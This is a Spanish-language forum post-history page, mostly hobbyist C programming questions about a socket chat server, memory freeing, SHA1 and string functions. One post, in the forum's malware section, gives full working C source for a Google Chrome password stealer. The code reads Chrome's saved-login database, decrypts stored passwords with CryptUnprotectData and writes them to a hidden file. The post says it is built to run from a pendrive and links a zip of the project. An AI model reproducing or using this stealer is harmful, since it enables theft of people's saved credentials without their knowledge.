|
Mostrar Temas
|
Páginas: 1 [2] 3 4 5 6 7
|
11
|
Programación / Programación C/C++ / Chat con listas en C
|
en: 20 Junio 2016, 14:35 pm
|
Hola. Estoy haciendo un chat con listas en C y tengo algunos problemas a la hora de insertar los datos y tal, me da violaciones de segmento cuando quiero acceder a los datos y tal. La estructura es esta: typedef struct _ConnectedHosts { int socket; char *Alias; char *ipAddr; struct _ConnectedHosts *Next; } ConnectedHosts, *PConnectedHosts;
Para inicializar una estructura o crearla, utilizo esta funcion: PConnectedHosts CreateClient(int socket) { int addrlen; char *ipAddr = (char *)calloc(INET_ADDRSTRLEN , sizeof(char)); struct sockaddr_in ConnectedAddr; struct _ConnectedHosts *cHosts = (PConnectedHosts )malloc(sizeof(ConnectedHosts )); addrlen = sizeof(ConnectedAddr); if(getpeername(socket, (struct sockaddr *)&ConnectedAddr, &addrlen) < 0) { return NULL; } inet_ntop(AF_INET, &ConnectedAddr.sin_addr, ipAddr, INET_ADDRSTRLEN); cHosts->socket = socket; cHosts->ipAddr = ipAddr; cHosts ->Alias = (char *)calloc(ALIASLEN , sizeof(char)); cHosts->Next = NULL; return cHosts; }
Para añadir una estructura nueva a la lista uso esta otra: void AddClient(PConnectedHosts RemoteAddr, PConnectedHosts MainAddr) { PConnectedHosts aux = MainAddr; if(MainAddr == NULL) { MainAddr = RemoteAddr; } else { while(aux->Next != NULL) { aux = aux->Next; } aux->Next = RemoteAddr; } }
Para eliminar alguna estructura de la lista uso esta: int DeleteClient(PConnectedHosts DeleteAddr, PConnectedHosts MainAddr) { if(MainAddr == NULL || DeleteAddr == NULL) { return 1; } PConnectedHosts bAux; PConnectedHosts aux = MainAddr; PConnectedHosts aAux; while(aux != DeleteAddr) { bAux = aux; aux = aux->Next; aAux = aux->Next; } close(aux->socket); bAux->Next = aAux; return 0; }
Y luego utilizo esta funcion para saber qué cliente ha enviado los datos (ya que se trata de un chat): PConnectedHosts whatsClient(int socket, PConnectedHosts MainAddr) { PConnectedHosts aux = MainAddr; if(aux != NULL) { while(aux->Next != NULL && aux->socket != socket) { aux = aux->Next; } } return aux; }
Y aquí está el codigo del servidor: #include "WDestChat.h" int main() { int i, aux, max, cSocket, lSocket; char Buffer[1025]; struct sockaddr_in ServerAddr, ClientAddr; PConnectedHosts auxHosts = NULL; PConnectedHosts cHosts = NULL; fd_set master, temp; lSocket = CreateListenSocket(PORT, MAX, &ServerAddr); if(lSocket < 0) { PrintError("Error creating socket"); return 1; } max = lSocket + 1; FD_SET(lSocket, &temp); while(1) { master = temp; if(select(max, &master, NULL, NULL, NULL) < 0) { PrintError("Error receiving information"); return 1; } for(i = 0; i <= max; i++) { if(FD_ISSET(i, &master)) { if(i == lSocket) { cSocket = AcceptClient(lSocket, &ClientAddr); if(cSocket < 0) { PrintError("Error accepting client"); } else { if(max < cSocket) { max = cSocket + 1; } /* Creating client list */ auxHosts = CreateClient(cSocket); if(auxHosts == NULL) { PrintError("Error creating client list"); } /* receiving the alias */ recv(cSocket, auxHosts->Alias, 15, 0); /* adding client to structure */ AddClient(auxHosts, cHosts); /* adding client to socket array */ FD_SET(cSocket, &temp); printf("New client connected\n"); } } else { aux = recv(i, Buffer, 1024, 0); if(aux == 0) { printf("%d socket was closed the connection\n", i ); FD_CLR(i, &temp); auxHosts = whatsClient(i, cHosts); DeleteClient(auxHosts, cHosts); } else if(aux > 0) { for(aux = 0; aux < max; aux++) { if(aux == i || aux == lSocket) { continue; } else { auxHosts = whatsClient(aux, cHosts); send(aux, auxHosts->Alias, 15, 0); send(aux, Buffer, 1024, 0); } } memset(Buffer , '\0', sizeof(Buffer )); } } } } } close(lSocket); return 0; }
Segun GDB da error en la línea 69, es decir, al intentar acceder a la posicion de memoria que contiene el alias. Me gustaría saber qué estoy haciendo mal. Al parecer a la hora de acceder a los datos accedo a posiciones erróneas.
|
|
|
12
|
Programación / Programación C/C++ / Cifrado hash SHA1 en C
|
en: 29 Mayo 2016, 17:32 pm
|
Hola. Estoy intentando cifrar cadenas con el hash SHA1 pero me devuelve la cadena en binario, y la quiero en texto. Ejemplo: #include <stdio.h> #include <openssl/sha.h> int main() { char *a = "hola"; size_t len = sizeof(a); unsigned char hash[40]; SHA1(a, len, hash); return 0; }
Y me devuelve esto: Gracias de antemano
|
|
|
13
|
Programación / Programación C/C++ / Problema al liberar memoria con free()
|
en: 21 Mayo 2016, 04:19 am
|
Hola. Estoy haciendo una shell y de momento va bien xd el problema surge cuando quiero liberar la variable que contiene los argumentos. Adjunto codigo: char **GetCommand(int maxLength) { /*Recibe un comando*/ int argc, secArgc; char *stdBuffer = (char *)malloc(sizeof(char) * maxLength ); char **stdCommand = (char **)malloc(sizeof(char *) * (maxLength / 2)); argc = secArgc = 0; stdCommand [argc ] = (char *)malloc(sizeof(char) * (maxLength / 4)); printf("%s ", COMMAND_PROMPT ); fgets(stdBuffer , maxLength , stdin ); stdBuffer [strlen(stdBuffer ) - 1] = '\0'; while(*stdBuffer) { if(*stdBuffer == '\n') { break; } if(*stdBuffer == ' ') { secArgc = 0; stdCommand [++argc ] = (char *)malloc(sizeof(char) * (maxLength / 4)); } stdCommand[argc][secArgc++] = *stdBuffer++; } stdBuffer = NULL; return stdCommand; }
Con esta función se recibe un comando. Y este sería el main: char **stdLine = NULL; while(stdLine = GetCommand(1024)) { /*Mientras se reciba un comando*/ switch(comExecute((const char **)stdLine)) { case 0: break; case 1: perror("Can\'t execute these command\n"); case EXIT_COMMAND : exit = 1; } if(exit) { /*Si ha escrito 'exit'*/ break; } }
El problema surge con el free(stdLine); que a la hora de imprimirlo se ve que se llena de basura o algo así, porque cuando se ejecuta el printf del main me saca carácteres raros al final de cadena que impiden que sea bien leida. He pensado en poner stdLine = NULL; pero lo que quiero es liberar memoria. ¿Sería lo mismo poner free(stdLine) que stdLine = NULL? Yo creo que no, pero como no me dedico a la programación profesionalmente, sino más por afición, pues no tengo mucha idea. Gracias de antemano.
|
|
|
14
|
Seguridad Informática / Análisis y Diseño de Malware / [C] Stealer Google Chrome
|
en: 30 Marzo 2016, 19:42 pm
|
A raíz de este hilo http://foro.elhacker.net/analisis_y_diseno_de_malware/asm_stealer_google_chrome-t447125.0.html decidí pasar el código a C para que me pareciese más familiar, y además "mejorarlo" un poco. El hecho en ASM por Fary depende de la librería sqlite3.dll. (EDITO) #include <stdio.h> #include <stdlib.h> #include <windows.h> #include "sqlite3.c" #define AUTHOR "Mester" char CurUser[40]; void ChromeDirectory(char *Disk, char *cDir) { DWORD I = 40; GetUserName(CurUser, &I); sprintf(cDir , "%sUsers\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", Disk , CurUser ); } int main() { int Write = 1; char *Query = "SELECT origin_url, username_value, password_value FROM logins"; char *cDir = (char *)malloc(sizeof(char) * 200); const char *cData = (char *)malloc(sizeof(char) * 140); const char *Bar = "-----------------------------------"; FILE *sf; DATA_BLOB DataIn, DataOut; sqlite3 *DB; sqlite3_stmt *Stmt; ChromeDirectory("C:\\", cDir); if(sqlite3_open(cDir, &DB) != SQLITE_OK) { ChromeDirectory("D:\\", cDir); if(sqlite3_open(cDir, &DB) != SQLITE_OK) { ChromeDirectory("E:\\", cDir); if(sqlite3_open(cDir, &DB) != SQLITE_OK) { printf("Error 0x1%s\n", AUTHOR ); Sleep(1000); return 1; } } } if(sqlite3_prepare_v2(DB, Query, -1, &Stmt, 0) != SQLITE_OK) { printf("Error 0x2%s\n", AUTHOR ); Sleep(1000); return 1; } sf = fopen("readme", "a+"); if(sf == NULL) Write = 0; fprintf(sf , "%s\n%s\n\n", Bar , CurUser ); while(sqlite3_step(Stmt) == SQLITE_ROW) { cData = sqlite3_column_text(Stmt, 0); if(Write) else cData = sqlite3_column_text(Stmt, 1); if(Write) fprintf(sf , "Username: %s\n", cData ); else printf("Username: %s\n", cData ); DataIn.pbData = (BYTE *)sqlite3_column_blob(Stmt, 2); DataIn.cbData = sqlite3_column_bytes(Stmt, 2); CryptUnprotectData(&DataIn, 0, 0, 0, 0, 0, &DataOut); DataOut.pbData[DataOut.cbData] = '\0'; if(Write) fprintf(sf , "Password: %s\n\n\n", DataOut. pbData); else printf("Password: %s\n\n\n", DataOut. pbData); } if(Write) { SetFileAttributes("readme", FILE_ATTRIBUTE_HIDDEN); } return 0; }
Éste está preparado para ser ejecutado desde un pendrive. Depende del codigo de sqlite3 ya que coge las funciones del fichero. Aquí un zip con todo: https://drive.google.com/file/d/0Bzvog2L4FR24eDFEaUdvTDlZN2c/view?usp=sharing
|
|
|
16
|
Programación / Programación C/C++ / Como compilar conio.h
|
en: 3 Enero 2016, 14:53 pm
|
Hola.
Estaba indagando por los codigos de c.conclase.com y resulta que utilizan librerías propias de windows, como la mencionada anteriormente, conio.h. Uso como compilador Dev-C++ mediante Wine, ya que utilizo Debian. ¿Cómo puedo compilar la libreria conio.h? He leído por internet que necesito un compilador de C que no sea GCC, MinGW o CygWin y tal, pero no sé cual xd porque también he leido que con code::blocks se puede y me dice lo mismo, que las funciones clrscr() y tal de conio.h no existen.
Se agradece de antemano.
|
|
|
17
|
Programación / Programación C/C++ / Incrementar puntero entero con ++ en vez de +=
|
en: 2 Enero 2016, 19:38 pm
|
Hola. Como dice el título: ¿Cómo puedo incrementar un puntero con ++ en vez de +=1? Por ejemplo: void modificar(int *algo) { *algo++; } int main() { int cosa = 5; modificar(&cosa); return 0; }
Si escribo esto el programa me manda a la m*****. Sin embargo si lo hago así: void modificar(int *algo) { *algo+=1; } int main() { int cosa = 5; modificar(&cosa); return 0; }
Me imprime un 6. ¿Esto a qué es debido? ¿Estoy incrementando mal el puntero?
|
|
|
18
|
Programación / Programación C/C++ / ¿Se puede añadir una funcion a string.h?
|
en: 24 Diciembre 2015, 19:02 pm
|
Hola. Resulta que he hecho una función que considero bastante útil para el uso popular: void strssr(const char *arg /*Argumento que contiene los numeros*/, char *s /*Puntero a since */, char *t /*Puntero a to */, uint8_t lim /*Limite de separacion */) { char *str = (char *)arg; while(*str) { *s = *str++; if(*str == lim) break; *s++; } *str++; while(*str) { *t = *str++; *t++; } }
Consiste en separar un argumento en dos a partir de una señal definida en el cuatro argumento, por ejemplo: int main() { char *ip = (char *)calloc(16,sizeof(char)); char *puerto = (char *)calloc(5,sizeof(char)); strssr("192.168.1.1:8080", ip, puerto, ':'); printf("%s\t%s\n", ip , puerto ); return 0; }
Me gustaría saber si hay alguien que regule todo esto de las bibliotecas en C. ¿Tal vez el opengroup.org? Es por el bien de la comunidad jeje. Gracias por las respuestas.
|
|
|
19
|
Programación / Programación C/C++ / ¿Alguien puede ayudarme a entender este codigo de strstr?
|
en: 22 Diciembre 2015, 13:55 pm
|
Hola. Estaba haciendo una funcion para saber si hay una palabra dentro de una cadena, y luego ví que existe la función strstr(); int strstr(const char *str1 , const char *str2 ) { char *cp = (char *) str1; char *s1, *s2; if (!*str2) return 0; //Que significa el (!*str2) while (*cp) { s1 = cp; s2 = (char *) str2; while (*s1 && *s2 && !(*s1 - *s2)) //Que significa (*s1 && *s2) y luego el && !(*s1 - *s2) s1++, s2++; if (!*s2) return 0; cp++; } return 1; }
Devuelve 0 cuando ha encontrado una palabra y 1 si no. Me gustaría saber que significado tiene '!' ante una función y ante un puntero. Y que obtienes al hacer *s1 && *s2, ¿los comparas? Gracias.
|
|
|
20
|
Programación / Programación C/C++ / Enumerar directorio por FTP (WinAPI)
|
en: 9 Diciembre 2015, 15:47 pm
|
Hola. Estoy haciendo un cliente de FTP para Windows y de momento me va bien a excepción de listar los archivos. Utilizo la siguiente función: https://msdn.microsoft.com/en-us/library/windows/desktop/aa384146(v=vs.85).aspx Y la uso de esta manera: ... TCHAR direct[MAX_PATH]; DWORD det=MAX_PATH; WIN32_FIND_DATA met; do{//El socket es "conexion" FtpGetCurrentDirectory(conexion,direct,&det); if(FtpFindFirstFile(conexion,direct,&met,det,0)==NULL) else }while(InternetFindNextFile(conexion,(LPVOID)&met)); ...
Al ejecutar esta función solo me imprime la primera carpeta, y si vuelvo a ejecutarla me devulve NULL. Gracias de antemano
|
|
|
|
|
|
|